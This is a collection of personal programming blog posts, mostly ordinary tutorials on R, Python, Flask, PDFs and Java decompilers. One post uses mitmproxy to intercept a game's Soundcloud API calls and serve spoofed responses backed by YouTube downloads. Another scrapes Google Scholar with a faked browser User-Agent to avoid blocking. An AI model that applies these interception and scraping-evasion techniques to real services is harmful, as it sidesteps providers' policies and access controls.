Big budget titles: Prey and Red Dead Redemption 2, of course, as well as Warhammer 40,000: Dawn of war III.
I might give Tales of Berseria a spin, though I’m not normally one for JRPG’s.
Yooka-Laylee: hope this one will be a lot of childlike fun.
The Church In The Darkness looks interesting thanks to its procedurally-generated cult story.
Described as a love child between GTA I and Syndicate Wars, Tokyo 42 certainly looks interesting.
Thimbleweed Park might be one of the adventure games I try this year, thanks to Ron Gilbert being at the helm and Mark Ferrari doing the visuals. Mark has a great talk about 8bit art that you absolutely should watch right now!
Frozen Synapse 2; I was a fan of the original so this will be worth checking out.
Constructor HD, as I’m a sucker for nostalgia-meets-HD releases.

Kingdoms and Castles, mainly since its art direction is positively adorable.

Tower 57 is a twin stick shooter with 16-bit inspired pixel art, destructible environments, and a heavy focus on co-op.
Bulletstorm: Full Clip Edition: not sure yet about this one, since I already own the original and don’t think it’s fair having to rebuy it. Also I’m not that much of a Gearbox fan anymore lately.
Strafe and Dusk: two beautiful oldskool gory Quake-like shooters.

Eitr: an action RPG with exceptional combat.
RIOT - Civil Unrest has been on my list for a few years now but it might finally see a release this year.
Manifold Garden: also an ealier-seen entry, (formerly known as Relativity.)
Drift Stage: also an older entry. Still not sure about the release date but still like the art style. Wings of Saint Nazaire is also still on the list, as is Irkalla and Before (which finally got a trailer up).

Fun facts:

Earlier I wrote about Mirror’s Edge 2 as something I was looking forward to without “having high hopes”… well that turned out to be right.
In a similar vein, I wrote about No Man’s Sky: “of course I am including it in this list. Of course I’m worried about it like everyone else.” Well that certainly turned out to be a distaster.

SmoothLife in Processing

2017-01-08T17:44:00+01:00

Conway’s Game of Life is one of the most popular examples of cellular automaton. However, did you know that Stephan Rafler proposed a version of Game of Life in 2011 which works over a contious domain, called SmoothLife?

Cool, isn’t it? The basic idea is that the grid of cells is replaced here with an effective grid where each cell occupies a continuous coordinate with a very small finite size and with the neighbors calculated based on a radius around that cell.

This blog post summarised the idea well and also provides a JavaScript implementation.

Since I’m toying around with Processing again these days, it seemed like a fun quick project to convert the source to Java:

Here’s what the results look like. Higher resolutions are possible but can’t be rendered in real-time due to the slower FFT implementation (it would be fun to import FFTW and see how that fares).

Here’s what the result looks like:

Some Quick Spatial Kriging Fun With Aqicn.org

2017-01-06T16:52:00+01:00

Our local Belgian media was just reporting on a study showing that air pollution has a negative impact on the cognitive abilities of children (link in Dutch).

With that in mind, I was reminded of the World Air Quality Index team, which keeps track of pollution values across the world. In Brussels, the index is (today) at 75. Well, if that’s bad, the index is >300 for Beijing.

Seeing as I’ll be heading towards China again soon, I spend half an hour trying to have some quick fun with spatial kriging using this data set, also sometimes referred to as — or used to perform — spatial interpolation:

library(rworldmap)
library(rjson)
library(RCurl)
library(stringr)
library(kriging)

baseurl <- 'https://wind.waqi.info/mapq/bounds/?bounds={bounds}&inc=placeholders'
newmap <- getMap(resolution = "low")

bounds <- c(18.312810846425442,77.783203125,48.16608541901253,129.462890625)

jsondata <- getURL(str_replace(baseurl, '\\{bounds\\}', paste(bounds, collapse=',')))
jsondata <- do.call(rbind.data.frame, fromJSON(jsondata))
jsondata <- jsondata[jsondata$aqi != '-',]

model <- kriging(jsondata[,'lon'], jsondata[,'lat'], jsondata[,'aqi'])

plot(newmap, ylim = c(bounds[1], bounds[3]), xlim = c(bounds[2], bounds[4]), asp = 1)

colorRamp <- function(x, b=100) {
  rb <- colorRampPalette(c('green', 'yellow', 'orange', 'red', 'purple', 'darkred'))
  rb(b)[as.numeric(cut(x, breaks = b))]
}

model$map$col <- colorRamp(model$map$pred)
apply(model$map, 1, function(r) {
  points(r[['x']], r[['y']], pch=15, col=r[['col']])
})

plot(newmap, ylim = c(bounds[1], bounds[3]), xlim = c(bounds[2], bounds[4]), asp = 1, add = T)

jsondata$col <- colorRamp(as.numeric(jsondata$aqi))
apply(jsondata, 1, function(r) {
  points(r[['lon']], r[['lat']], pch=23, bg=r[['col']])
})

How To Send HTML Mails With OAuth2 And Gmail In Python

2016-09-24T15:59:00+02:00

If you’ve been trying to send e-mails from a program using your Gmail account, you’ll probably have encountered the following error message:

SMTP Error: Could not authenticate. Error: SMTP Error: Could not authenticate.
535 5.7.1 Username and Password not accepted. Learn more at
535 5.7.1 http://mail.google.com/support/bin/answer.py?answer=14257 p38sm2467302ybk.16

In fact, the internet is flooded with people searching to figure out how to get their Wordpress mailer plugin working with Gmail’s SMTP. The answer most people give is to just enable the “Allow less secure apps”-option in your Google account settings:

Fair enough, though a more secure way is to use OAuth2 in combination with Google’s API console. This page describes the protocol, whereas this GitHub repo provides sample code, including for Python.

Since the code has been written for Python 2 and I wanted to use 3, I’ve performed a quick conversion and outline of the steps…

Step 1: navigate to your Google API console. You might want to create a new project (or make sure you have the right project selected):

Step 2: under “Credentials”, select “Create credentials” and create a new “OAuth client ID”. If you would already have such an ID, you can skip this step and just re-use the one you have.

You will be asked which type of app will use this ID, choose “Other” and give your app an easy-to-remember name:

Next up comes the most important screen, giving you your client ID and secret key. Write both of these down and do not give these out to others!

Step 3: the Python code we’ll be using is adapted from (https://github.com/google/gmail-oauth2-tools/blob/master/python/oauth2.py) but works in Python 3 and has been made simpler:

"""
Adapted from:
https://github.com/google/gmail-oauth2-tools/blob/master/python/oauth2.py
https://developers.google.com/identity/protocols/OAuth2

1. Generate and authorize an OAuth2 (generate_oauth2_token)
2. Generate a new access tokens using a refresh token(refresh_token)
3. Generate an OAuth2 string to use for login (access_token)
"""

import base64
import imaplib
import json
import smtplib
import urllib.parse
import urllib.request
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
import lxml.html

GOOGLE_ACCOUNTS_BASE_URL = 'https://accounts.google.com'
REDIRECT_URI = 'urn:ietf:wg:oauth:2.0:oob'

GOOGLE_CLIENT_ID = '<FILL ME IN>'
GOOGLE_CLIENT_SECRET = '<FILL ME IN>'
GOOGLE_REFRESH_TOKEN = None


def command_to_url(command):
    return '%s/%s' % (GOOGLE_ACCOUNTS_BASE_URL, command)


def url_escape(text):
    return urllib.parse.quote(text, safe='~-._')


def url_unescape(text):
    return urllib.parse.unquote(text)


def url_format_params(params):
    param_fragments = []
    for param in sorted(params.items(), key=lambda x: x[0]):
        param_fragments.append('%s=%s' % (param[0], url_escape(param[1])))
    return '&'.join(param_fragments)


def generate_permission_url(client_id, scope='https://mail.google.com/'):
    params = {}
    params['client_id'] = client_id
    params['redirect_uri'] = REDIRECT_URI
    params['scope'] = scope
    params['response_type'] = 'code'
    return '%s?%s' % (command_to_url('o/oauth2/auth'), url_format_params(params))


def call_authorize_tokens(client_id, client_secret, authorization_code):
    params = {}
    params['client_id'] = client_id
    params['client_secret'] = client_secret
    params['code'] = authorization_code
    params['redirect_uri'] = REDIRECT_URI
    params['grant_type'] = 'authorization_code'
    request_url = command_to_url('o/oauth2/token')
    response = urllib.request.urlopen(request_url, urllib.parse.urlencode(params).encode('UTF-8')).read().decode('UTF-8')
    return json.loads(response)


def call_refresh_token(client_id, client_secret, refresh_token):
    params = {}
    params['client_id'] = client_id
    params['client_secret'] = client_secret
    params['refresh_token'] = refresh_token
    params['grant_type'] = 'refresh_token'
    request_url = command_to_url('o/oauth2/token')
    response = urllib.request.urlopen(request_url, urllib.parse.urlencode(params).encode('UTF-8')).read().decode('UTF-8')
    return json.loads(response)


def generate_oauth2_string(username, access_token, as_base64=False):
    auth_string = 'user=%s\1auth=Bearer %s\1\1' % (username, access_token)
    if as_base64:
        auth_string = base64.b64encode(auth_string.encode('ascii')).decode('ascii')
    return auth_string


def test_imap(user, auth_string):
    imap_conn = imaplib.IMAP4_SSL('imap.gmail.com')
    imap_conn.debug = 4
    imap_conn.authenticate('XOAUTH2', lambda x: auth_string)
    imap_conn.select('INBOX')


def test_smpt(user, base64_auth_string):
    smtp_conn = smtplib.SMTP('smtp.gmail.com', 587)
    smtp_conn.set_debuglevel(True)
    smtp_conn.ehlo('test')
    smtp_conn.starttls()
    smtp_conn.docmd('AUTH', 'XOAUTH2 ' + base64_auth_string)


def get_authorization(google_client_id, google_client_secret):
    scope = "https://mail.google.com/"
    print('Navigate to the following URL to auth:', generate_permission_url(google_client_id, scope))
    authorization_code = input('Enter verification code: ')
    response = call_authorize_tokens(google_client_id, google_client_secret, authorization_code)
    return response['refresh_token'], response['access_token'], response['expires_in']


def refresh_authorization(google_client_id, google_client_secret, refresh_token):
    response = call_refresh_token(google_client_id, google_client_secret, refresh_token)
    return response['access_token'], response['expires_in']


def send_mail(fromaddr, toaddr, subject, message):
    access_token, expires_in = refresh_authorization(GOOGLE_CLIENT_ID, GOOGLE_CLIENT_SECRET, GOOGLE_REFRESH_TOKEN)
    auth_string = generate_oauth2_string(fromaddr, access_token, as_base64=True)

    msg = MIMEMultipart('related')
    msg['Subject'] = subject
    msg['From'] = fromaddr
    msg['To'] = toaddr
    msg.preamble = 'This is a multi-part message in MIME format.'
    msg_alternative = MIMEMultipart('alternative')
    msg.attach(msg_alternative)
    part_text = MIMEText(lxml.html.fromstring(message).text_content().encode('utf-8'), 'plain', _charset='utf-8')
    part_html = MIMEText(message.encode('utf-8'), 'html', _charset='utf-8')
    msg_alternative.attach(part_text)
    msg_alternative.attach(part_html)
    server = smtplib.SMTP('smtp.gmail.com:587')
    server.ehlo(GOOGLE_CLIENT_ID)
    server.starttls()
    server.docmd('AUTH', 'XOAUTH2 ' + auth_string)
    server.sendmail(fromaddr, toaddr, msg.as_string())
    server.quit()



if __name__ == '__main__':
    if GOOGLE_REFRESH_TOKEN is None:
        print('No refresh token found, obtaining one')
        refresh_token, access_token, expires_in = get_authorization(GOOGLE_CLIENT_ID, GOOGLE_CLIENT_SECRET)
        print('Set the following as your GOOGLE_REFRESH_TOKEN:', refresh_token)
        exit()

    send_mail('--------@gmail.com', '--------@gmail.com',
              'A mail from you from Python',
              '<b>A mail from you from Python</b><br><br>' +
              'So happy to hear from you!')

Don’t forget to change:

GOOGLE_CLIENT_ID = '<FILL ME IN>'
GOOGLE_CLIENT_SECRET = '<FILL ME IN>'

Next, just simply run the code. Since we don’t have a GOOGLE_REFRESH_TOKEN yet, the following will appear on the screen:

No refresh token found, obtaining one
Navigate to the following URL to auth: https://accounts.google.com/o/oauth2/auth?client_id= [...]
Enter verification code:

Open the URL in your browser, you will be greeted with this:

After pressing “Accept”, Google will present you with a verification code:

Enter this in the running prompt:

Enter verification code: <ENTER YOUR VERIFICATION CODE>
Set the following as your GOOGLE_REFRESH_TOKEN: [...] 1bA [...]

Now modify the Python script to fill in the refresh token with the value you got back:

GOOGLE_REFRESH_TOKEN = '[...] 1bA [...]'

Step 4: start sending mail. Change the following line with your Gmail address:

send_mail('--------@gmail.com', '--------@gmail.com',

And run the script again. If all goes well, it should just terminate and you should see an e-mail popping up in your inbox, formatted with HTML, too:

You don’t need to perform a manual reverification as the same refresh token can be used multiple times. If you do start to get exceptions, the timeout for the refresh token has been reached and you manually need to get a new refresh token, though normally refresh tokens are valid for a long time span as long as you wouldn’t create additional ones (older ones will stop working) or do not use a refresh token for a long amount of time.

Fun With Audiosurf 2 And Mitmproxy

2016-09-24T15:57:00+02:00

I enjoy firing up Audiosurf 2 from time to time to have some rythmic musical fun. One of the things that has been bothering me, however, is the fact that Audiosurf 2 only integrates with Soundcloud for its music streaming. You can use local files, but since I stream all of my music from YouTube or Spotify, this always leaves me with a limited collection of songs to choose from, and I wondered whether there was a way to circumvent this.

Enter mitmproxy, a powerful interactive console program that allows network traffic to be intercepted, inspected, modified and replayed. mitmproxy has a powerful scripting API that allows you to modify traffic on the fly using simple Python scripts. Perhaps we could use this to make Audiosurf 2 think it is connected to Soundcloud whilst we actually query and download music from YouTube instead.

Let’s go through the script from top to bottom. First, we set up our imports and some constants…

import youtube_dl
import copy
import json
import requests
from time import sleep
from urlparse import urlparse, parse_qs
from urllib import quote
from mitmproxy.models import HTTPResponse
from netlib.http import Headers

ENABLED = True
YOUTUBE_SHORT_ONLY = True
YDL_OPTS = {
    'format': 'bestaudio[ext=mp3]/bestaudio[ext=m4a]/bestaudio',
    'progress_hooks': [],
#   'postprocessors': [{
#       'key': 'FFmpegExtractAudio',
#       'preferredcodec': 'mp3',
#       'preferredquality': '192',
#   }],
}

You can enable a postprocessor in youtube_dl (the Python library we’ll be using to handle the actual downloads from YouTube) to convert any movie to an MP3 with FFmpeg, though this can take up a lot of time. The 'bestaudio[ext=mp3]/bestaudio[ext=m4a]/bestaudio' format setting works better.

Next up, we need to set up a YouTube API key and a fake response dict representing a track as it would come from the Soundcloud API:

YOUTUBE_API_KEY = '--- get a youtube api key and set this here ---'
SOUNDCLOUD_TRACK_TEMPLATE = {
    "download_url":None,
    "key_signature":"",
    "user_favorite":False,
    "likes_count":1,
    "release":"",
    "attachments_uri":"https://api.soundcloud.com/tracks/{}/attachments",
    "waveform_url":"https://api.soundcloud.com/tracks/{}/waveform",
    "purchase_url":None,
    "video_url":None,
    "streamable":True,
    "artwork_url":"https://api.soundcloud.com/tracks/{}/artwork",
    "comment_count":1,
    "commentable":True,
    "description":"",
    "download_count":0,
    "downloadable":False,
    "embeddable_by":"all",
    "favoritings_count":0,
    "genre":"",
    "isrc":"",
    "label_id":None,
    "label_name":"",
    "license":"",
    "original_content_size":10000,
    "original_format":"mp3",
    "playback_count":10000,
    "purchase_title":None,
    "release_day":None,
    "release_month":None,
    "release_year":None,
    "reposts_count":10000,
    "state":"finished",
    "tag_list":"",
    "track_type":"",
    "user":{
        "avatar_url":"",
        "id":111111,
        "kind":"user",
        "permalink_url":"https://soundcloud.com/",
        "uri":"https://api.soundcloud.com/users/111111",
        "username":"",
        "permalink":"",
        "last_modified":"2010/02/16 17:41:26 +0000"},
    "bpm":None,
    "user_playback_count":None,
    "id":1,
    "kind":"track",
    "created_at":"2010/04/14 20:46:00 +0000",
    "last_modified":"2016/08/09 23:59:27 +0000",
    "permalink":"",
    "permalink_url":"",
    "title":"",
    "duration":253300,
    "sharing":"public",
    "stream_url":"https://api.soundcloud.com/tracks/{}/stream",
    "uri":"https://api.soundcloud.com/tracks/{}",
    "user_id":111111
}

Next, we set up the actual hook to intercept all requests to api.soundcloud.com:

def request(context, flow):
    YDL_OPTS['progress_hooks'].append(lambda d: youtube_download_hook(context, d))
    if ENABLED and flow.request.pretty_host.endswith("api.soundcloud.com"):
        context.log(flow.request.pretty_host + flow.request.path)
        if '/stream' in flow.request.path:
            flow.reply(make_reply_stream(context, flow))
        elif 'q=' in flow.request.path:
            flow.reply(make_reply_query(context, flow))

If the request contains q=, Audiosurf is performing a query. The other option we handle is /stream which whill stream back the track:

def download_youtube_video(id):
    with youtube_dl.YoutubeDL(YDL_OPTS) as ydl:
        result = ydl.extract_info('http://www.youtube.com/watch?v='+id, download=True)
        video = result['entries'][0] if 'entries' in result else result
    return result, video


def youtube_download_hook(context, d):
    if d['status'] == 'finished':
        context.__filename = d['filename']


def make_reply_stream(context, flow):
    resp = HTTPResponse(b"HTTP/1.1", 200, b"OK",
            Headers(Content_Type="audio/mpeg"), b"")
    id = flow.request.path.split('/')[2]
    context.__filename = None
    context.log(id)
    result, video = download_youtube_video(id)
    while not context.__filename:
        sleep(200)
    context.log(context.__filename)
    resp.content = open(context.__filename, 'rb').read()
    return resp


def make_reply_query(context, flow):
    resp = HTTPResponse(b"HTTP/1.1", 200, b"OK",
            Headers(Content_Type="application/json"), b"")
    bits = urlparse(flow.request.path)
    query = parse_qs(bits.query)['q'][0]
    list = make_song_list(query, context)
    resp.content = json.dumps(list).encode('utf-8')
    return resp

Note that we use some youtube_dl hook trickery to make sure we wait until the file is downloaded. (youtube_dl will spawn a separate process.)

Finally, we need to implement two more functions:

def make_song_dict(id, title, artist, description='', artwork_url=None):
    d = copy.deepcopy(SOUNDCLOUD_TRACK_TEMPLATE)
    d['id'] = id
    d['title'] = title
    d['description'] = description
    d['attachments_uri'] = d['attachments_uri'].format(id)
    d['waveform_url'] = d['waveform_url'].format(id)
    d['artwork_url'] = d['artwork_url'].format(id)
    if artwork_url is not None:
        d['artwork_url'] = artwork_url
    d['stream_url'] = d['stream_url'].format(id)
    d['uri'] = d['uri'].format(id)
    d['user']['username'] = artist
    return d


def make_song_list(query, context):
    q = quote(query)
    vd = 'short' if YOUTUBE_SHORT_ONLY else 'any'
    url = 'https://www.googleapis.com/youtube/v3/search?part=snippet&maxResults=50&q={q}&type=video&videoCategoryId=10&videoDuration={vd}&key={key}'.format(q=q, vd=vd, key=YOUTUBE_API_KEY)
    reply = requests.get(url).json()
    list = []
    for item in reply['items']:
        d = make_song_dict(item['id']['videoId'],
            title=item['snippet']['title'],
            artist=item['snippet']['channelTitle'],
            description=item['snippet']['description'],
            artwork_url=item['snippet']['thumbnails']['default']['url'])
        list.append(d)
    return list

And we’re done! We can use Proxifier PE or another program to force connections from Audiosurf 2 to go through our man in the middle server. You can see the result in action here:

Final warning: this is meant to be a fun weekend experiment and in no way provided to circumvent YouTube or other streaming provider’s policies. Just as using youtube_dl, use this at your own risk!

Converting Plain Text References To BibTeX, Updated

2016-09-24T15:31:00+02:00

This blog post is an update for this one. I was recently contacted regarding the original post no longer working. Indeed, the scholar.py version used there is being blocked by Google Scholar.

Looking at the scholar.py GitHub page, we do find an updated version from about 8 months ago, with apparently support for fetching a plain text citation built-in.

Sadly, upon trying out the new library, Google Scholar was quickly throwing captcha checks up our face. The issue seems to be the way cookie handling is performed in the library.

Instead of trying to fix the library once more, I realized that we don’t need its full feature-set in order to accomplish what we’re trying to do here. The reason why I went hunting for such a library in the original post is probably due to a mixture of tiredness and/or having plans to do more with it in the future. BeautifulSoup and requests are enough to get the job done.

So, the updated Python 3 script:

import sys
import os.path
import re
import string
import requests
from bs4 import BeautifulSoup
from urllib.parse import quote


def uprint(*objects, sep=' ', end='\n', file=sys.stdout):
    enc = file.encoding
    if enc == 'UTF-8':
        print(*objects, sep=sep, end=end, file=file)
    else:
        f = lambda obj: str(obj).encode(enc, errors='backslashreplace').decode(enc)
        print(*map(f, objects), sep=sep, end=end, file=file)


SESSION = requests.Session()
SESSION.headers.update({'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36'})

URL_SEARCH = 'https://scholar.google.be/scholar?hl=en&q={q}&btnG=&as_sdt=1%2C5&as_sdtp='
URL_CITE = 'https://scholar.google.be/scholar?q=info:{ident}:scholar.google.com/&output=cite&scirp=0&hl=en'

def http_get(url):
    r = SESSION.get(url)
    return BeautifulSoup(r.text)

def make_query(reference, l=3):
    f =  string.ascii_lowercase + ' '
    q = reference
    q = q.lower()
    q = q.replace('-', ' ')
    q = ''.join(c for c in q if c in f)
    q = q.split(' ')
    q = ' '.join(c for c in q if len(c) >= l)
    return q

def make_query_year(reference, l=3):
    f =  string.ascii_lowercase + ' '
    q = reference
    id_re = re.compile(r'(\d\d\d\d)')
    id = id_re.findall(q)
    year = id[0] if len(id) > 0 else '('
    q = q.split(year)
    q = q[1:]
    q = ''.join(q)
    q = q.lower()
    q = q.replace('-', ' ')
    q = ''.join(c for c in q if c in f)
    q = q.split(' ')
    q = ' '.join(c for c in q if len(c) >= l)
    if year != '(':
        q = year + ' ' + q
    return q

def get_articles(query, count=1):
    url = URL_SEARCH.format(q=query)
    soup = http_get(url)
    articles = []
    for tag in soup.findAll("div", { "class" : "gs_r" }):
        a = tag.find('a', text='Cite', attrs={ "class" : "gs_nph" })
        ident = re.search(r'gs_ocit\(event,\'(.*?)\',', a.get('onclick', '')).group(1)
        articles.append(ident)
    if count > 0:
        articles = articles[:count]
    return articles

def get_citations(ident, resolve=True):
    url = URL_CITE.format(ident=ident)
    soup = http_get(url)
    citations = {}
    for tag in soup.findAll('tr'):
        citations[tag.th.text] = tag.td.text
    for tag in soup.findAll('a', { "class": "gs_citi" }):
        citations[tag.text] = tag.get('href')
        if resolve:
            citations[tag.text] = http_get(citations[tag.text]).text
    return citations

# Put references here:
references = """Ribeiro, Bruno, and Towsley. Don. “Estimating and sampling graphs with multidimensional random walks”, Proceedings of the 10th ACM SIGCOMM conference on Internet measurement. ACM, 2010.
Wang, Tianyi, et al. “Understanding graph sampling algorithms for social network analysis”, 31st International Conference on Distributed Computing Systems Workshops. IEEE, 2011."""

myFile = open('bibliography.bib', 'w', encoding='utf-8')

for reference in references.split('\n'):
    reference = reference.strip()
    uprint ("\n---------------------------------------------------------")
    uprint ("Doing reference:", reference)
    q = make_query(reference)
    uprint ("Query used:", q)
    r = get_articles(q)
    if len(r) == 0:
        q = make_query_year(reference)
        uprint ("No results -- trying again with:", q)
        r = get_articles(q)
    if len(r) == 0:
        uprint ("Still no results -- skipping")
        continue
    uprint ("Result written")
    myFile.write('\n\n%%% '+ r[0] + '  '+ q +'\n')
    myFile.write(get_citations(r[0]).get('BibTeX'))

myFile.close()

Programming Languages To Try

2016-06-13T10:44:00+02:00

I routinely use Python, R and Java during my day-to-day tasks, but have been itching recently to get up to speed or try out some of the following languages.

This list basically serves as a note to myself to start experimenting with some of them:

Haxe — basically in combination with OpenFL and Flixel to try my hand at recreational Android game programming.
Rust — hearing great things about Rust lately.
Go — one of the favorites these days, were it not for the lack of generics.
Nim — not sure how this stacks up to Go and Rust, but it looks to be an interesting project as well.
Kotlin — as someone who’s been scarred by Java for a long time, Kotlin seems like the absolutely best way towards improving upon the language. Looks really fun!
Racket — looks like a very solid Lisp/Scheme dialect, with an awesome programming environment and community. I especially like how people have been using the language in the typesetting ecosphere.
Scala — not really “new”, as I’ve been using Scala before (together with Spark), but I definitely need to grok it more.
Erlang and Elexir — which look like being an incredible robust solution towards building server apps.
Io — more as a research exercise.
Lua — in a similar realm as Haxe, to use in combination with the LÃ–VE framework, though I always find the language to be messy to work with once projects get large.
Crystal — a Ruby-like language with strict syntax and checking.
Julia — as a potential R replacement, though the ecosystem is still quite far behind.

Fixing Flask url_for When Behind mod_proxy

2016-04-22T10:01:00+02:00

Imagine you have an Apache server set up with a virtualhost configuration listening to some domain, e.g.

my.domain:8080

You have a Flask app running at:

localhost:5000

You want to add a mod_proxy directive so that:

http://my.domain:8080/app_location/  --->  http://localhost:5000

Most resources will suggest the following:

ProxyPass /app_location/  http://localhost:5000/
# Wrong:
ProxyPassReverse /app_location/ http://localhost:5000/

However, you should follow the advice from this post and use:

ProxyPass /app_location/ http://localhost:5000/
ProxyPassReverse /app_location/ http://my.domain:8080/app_location/

The first line remains the same (forward all requests at location app_location to this server over there), but the ProxyPassReverse-line changes changes (ProxyPassReverse will do a string replace in the HTTP Location headers). For Flask, however, you will have to use http://my.domain:8080/app_location/ as the target and not just http://my.domain:8080/ as the blog post above suggests.

Next up, you’ll might notice that url_for is not working as expected, and is rewriting URLs without the app_location appended to it, or using localhost and not my.domain. Solution as inspired by this snippet. First, create a class as follows:

from flask import Flask, flash, render_template, redirect, url_for, session, request, send_from_directory, abort
from flask import Response, Blueprint
from werkzeug.serving import run_simple
from werkzeug.wsgi import DispatcherMiddleware
import datetime

class ReverseProxied(object):

    def __init__(self, app, script_name=None, scheme=None, server=None):
        self.app = app
        self.script_name = script_name
        self.scheme = scheme
        self.server = server

    def __call__(self, environ, start_response):
        script_name = environ.get('HTTP_X_SCRIPT_NAME', '') or self.script_name
        if script_name:
            environ['SCRIPT_NAME'] = script_name
            path_info = environ['PATH_INFO']
            if path_info.startswith(script_name):
                environ['PATH_INFO'] = path_info[len(script_name):]
        scheme = environ.get('HTTP_X_SCHEME', '') or self.scheme
        if scheme:
            environ['wsgi.url_scheme'] = scheme
        server = environ.get('HTTP_X_FORWARDED_SERVER', '') or self.server
        if server:
            environ['HTTP_HOST'] = server
        return self.app(environ, start_response)

Then set up your app using:

app = Flask(__name__)
app.wsgi_app = ReverseProxied(app.wsgi_app, script_name='/app_location')

List Of Apps (Updated)

2015-09-27T15:21:00+02:00

Again that time of the year where Windows’s being reinstalled, so once again I’m jotting down a list of apps I normally install right away, slightly updated versus last year.

(This list last updated in May 2016.)

Web

Skype is back. The web version was not robust enough.
Chrome. Don’t forget the Chrome Remote Desktop extension.
Dropbox
Google Drive, though I’ve been using InSync lately as it works better if you have many files/folders.
FileZilla
qBittorrent as a replacement for Tixati, which I was using before (and Miniget before that).

General

Microsoft Office
7-Zip
Cmder makes the Windows command line ten times better. Comes with Clink. Replaces Putty as ssh is included.
Everything to locate files and folders by name instantly.
f.lux
Paint.NET
VirtualBox
Spotify
VLC
Steam
Fonts: Open Sans especially.

Data Science

Coding and Editing

Eclipse
GitHub Desktop
LyX
Sublime Text. Don’t forget to install Package Manager with SFTP.
WinEdt
PyCharm. New on the list, could not do without anymore for larger projects.

A Quick Look At Java Decompilers

2015-05-11T19:34:00+02:00

I’ve been looking at various Java decompilers recently for a project I’ve been working on in spare time.

Java code obfuscation is something I have an interest in for no particular reason, mostly because you see a variety of cool approaches popping up in the wild to prevent people from reverse engineering your proprietary JAR’s (which are, by default, very easy to reverse engineer). Most approaches resort to obfuscation/packing (similar as to what is done with Javascript files), but there exist more thorough methods as well, e.g. implementing a custom classloader which will decrypt classes on the fly. This article contains a good general overview.

Old and Lacking Entries

JAD

Some time ago, everyone’s decompiler of choice was jad. Currently, the project is dead (in addition, it wasn’t open source), but still you see a lot of people referring to it.

Java DeObfuscator

Also an older tool from fileoffset.com, but still works more or less. The interface is rather clunky to use for larger projects, but the tool is open source:

JODE

JODE is a java package containing a decompiler and an optimizer for Java. This package is freely available under the GNU GPL. It hasn’t been updated for quite some time.

AndroChef

Proprietary tool to decompile Android programs and Java files, available here. Not worth the money given the alternatives, just as DJ Decompiler.

Candle

An open source decompiler by Brad Davis. I’m mentioning it for completeness, but is far away from being feature complete.

Modern Tools

JD-Gui

Probably one of the most widely used tools for Java decompilation, as it is easy to use and provides a graphical user interface which allows to quickly open up and inspect a class file or JAR. You can find it over here.

Not open source, though, and borderline modern as it’s not able to decompile Java 8 features.

Below is a screenshot of JD-Gui with a Minecraft class file open[1]:

Note that the decompiler is being tricked by the obfuscation routine.

FernFlower

Very new and promising analytical Java decompiler (becoming an integral part of IntelliJ 14). Supports Java up to version 6 (annotations, generics, enum types).

Download from here

It’s a command line tool:

java -jar fernflower.jar .\jartodecompile.jar .\decompiled

But this one is able to show the Unicode parameters with their full name:

public float a(zy ˜ƒ, afi ˜ƒ1) {

CFR

Free, but not open source. This one aims to decompile modern Java features, including Java 8 lambdas (pre and post Java beta 103 changes), Java 7 String switches etc., though is itself written in Java 6.

Also a command line tool:

java -jar cfr_0_100.jar .\jartodecompile.jar --outputdir .\decompiled

This one does an even better job and is slightly faster:

@Override
public float a(zy zy, afi afi) {

Procyon

Open source, and also aims to deal with Java 8 features (lambdas, :: operator). Needs Java 7 to run.

Run it as follows:

 java -jar procyon-decompiler-0.5.28.jar -o .\decompiled .\jartodecompile.jar

Outputs:

@Override
public float a(final zy \u2603, final afi \u2603) {

This one is my favorite modern decompiler at the moment.

Krakatau

Krakatau is interesting because it has been written in Python. It currently contains three tools: a decompiler and disassembler for Java class files and an assembler to create class files.

Does not yet support Java 8 features.

Soot

Soot is a framework for analyzing and transforming Java and Android applications, originally developed by the Sable Research Group of McGill University. It’s not very commonly used “just” as a decompiler, as it also defines an intermediate byte code language.

Running it requires some fiddling, i.e. this is a minimal command to get things to run:

java -jar soot-trunk.jar -w -process-dir ./dir_with_class_files/ -pp -cp ./dir_with_libs/ -allow-phantom-refs -d ./decompiled/ -f d

Konloch’s Bytecode Viewer

An Advanced Lightweight Java Bytecode Viewer, GUI Java Decompiler, GUI Bytecode Editor, GUI Smali, GUI Baksmali, GUI APK Editor, GUI Dex Editor, GUI APK Decompiler, GUI DEX Decompiler, GUI Procyon Java Decompiler, GUI Krakatau, GUI CFR Java Decompiler, GUI FernFlower Java Decompiler, GUI DEX2Jar, GUI Jar2DEX, GUI Jar-Jar, Hex Viewer, Code Searcher, Debugger and more.

Written completely in Java, and it’s open source.

It uses FernFlower, Procyon and CFR for decompilation, makes this an awesome visual tool using state-of-art decompilers:

Enigma

A tool specifically geared for deobfuscation:

Originally used to deobfuscate Minecraft versions. Uses Procyon internally.

[1]: It’s fun to note that a lot of effort into decompilers and de-obfuscators for Java is the result of the modding scene around Minecraft, one of the most popular games implemented in Java.

Removing Background Color From A PDF Presentation

2015-02-08T00:00:00+01:00

Ever ran across a PDF export of a Powerpoint which looks like this?

Turns out it is not so easy to convert this to printable design (at least not without having access to the original presentation file, that is). Adobe Reader already allows to do the following:

Press Ctrl+K to go to Edit -> Preferences.
Select Accessibility.
Check Replace Document Colors to set the page background to white and text colors to black.

At first sight, this works fine:

But when printing, Adobe Reader decides to just put the background back in, even although the white background shows up in the page preview… Call it the ultimate troll, but that exactly how we know Adobe by now.

Perhaps some alternative PDF readers such as Foxit or Sumatra can do this right, but I’m using Evince, and — currently — not in the mood to start trying out others.

Luckily, help is on the way. Step one: download PDFClown for Java. You’ll find a JAR file in the source code zip somewhere.

Step two, whip up a small script:

Step three, you might need to make some changes to the following classes. They are part of PDFClown, so grab them off their GitHub repository, place them in your project and modify:

org.pdfclown.documents.contents.fonts.CMapParser: uses Integer.parseInt to convert a hex string to an integer, but this fails for large numbers. Use BigInteger instead.
org.pdfclown.documents.contents.fonts.OpenFontParser: some fonts inside of PDF’s do totally not comply with standards. So sprinkle if(tableOffset != null) { ... } everywhere instead of throwing Exceptions to work around this issue.
org.pdfclown.documents.contents.fonts.SimpleFont: change a line so it reads if(code != null && glyphIndexes.get(code) != null).

I’ve also made a quick runnable JAR over here.

java -jar pdfcleaner.jar "input.pdf" "output.pdf"

Needless to say, I’m now an enormous PDFClown convert.

Note that this is pretty hacky code, it basically takes a chainsaw to your PDF file and fills everything it can with either black or white. Left as an exercise for the reader:

Better determine the actual background box based on size information so only necessary Path objects are recolored.
Also change stroke color.
Allow to set desired colors.

